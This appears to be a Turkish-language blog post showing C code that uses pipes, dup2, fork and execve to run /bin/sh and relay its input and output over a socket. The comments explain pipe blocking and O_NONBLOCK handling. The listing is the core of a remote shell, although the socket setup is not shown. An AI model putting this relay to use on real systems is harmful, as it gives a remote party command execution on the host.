while(1){
pipen = read(s,pipebuffer,1024);
write(pfd1[1],pipebuffer, pipen);
memset(pipebuffer,'\0',1024);
#çıktı 1024 bytetan büyük olabilceği için okumayı döngüye aldık
pipen = read(pfd2[0],pipebuffer,1024);
while(pipen>0){
#fakat döngüdeki read in okuyacağı daha fazla byte kalmadığında blokluyordu.
#If a process attempts to read from an empty pipe, then read(2) will block #until data is available.Non-blocking I/O is possible by using the fcntl(2) F_SETFL #operation to enable the O_NONBLOCK open file status flag. bu yüzden ilk read #sonrasını nonblocking yapıp döngüden çıktığında tekrar bloking yaptık
fcntl(pfd2[0], F_SETFL, O_NONBLOCK);
write(s,pipebuffer, pipen);
pipen = read(pfd2[0],pipebuffer,1024);
}
memset(pipebuffer,'\0',1024);
flags = fcntl(pfd2[0], F_GETFL);
result = fcntl(pfd2[0], F_SETFL, flags & ~O_NONBLOCK);
}
-- aşağıda tüm kod.pipelar kullanarak parent ile child i konuşturuyoruz
0 ve 1 i pipelara dup layıp bunu fork exec ikilisi ile child e geçirdik.bu şekilde child in 0 ve 1 i artık pipelarımız.bu pipeları okuyup yazarak parent , child ile konuşuyor.
pipe(pfd1);
pipe(pfd2);
dup2(pfd1[0], 0);
dup2(pfd2[1], 1);
dup2(s, 2);
if(!fork()) {
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}
close(pfd1[0]);
close(pfd2[1]);
while(1){
pipen = read(s,pipebuffer,1024);
write(pfd1[1],pipebuffer, pipen);
memset(pipebuffer,'\0',1024);
pipen = read(pfd2[0],pipebuffer,1024);
while(pipen>0){
fcntl(pfd2[0], F_SETFL, O_NONBLOCK);
write(s,pipebuffer, pipen);
pipen = read(pfd2[0],pipebuffer,1024);
}
memset(pipebuffer,'\0',1024);
flags = fcntl(pfd2[0], F_GETFL);
result = fcntl(pfd2[0], F_SETFL, flags & ~O_NONBLOCK);
}
}
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment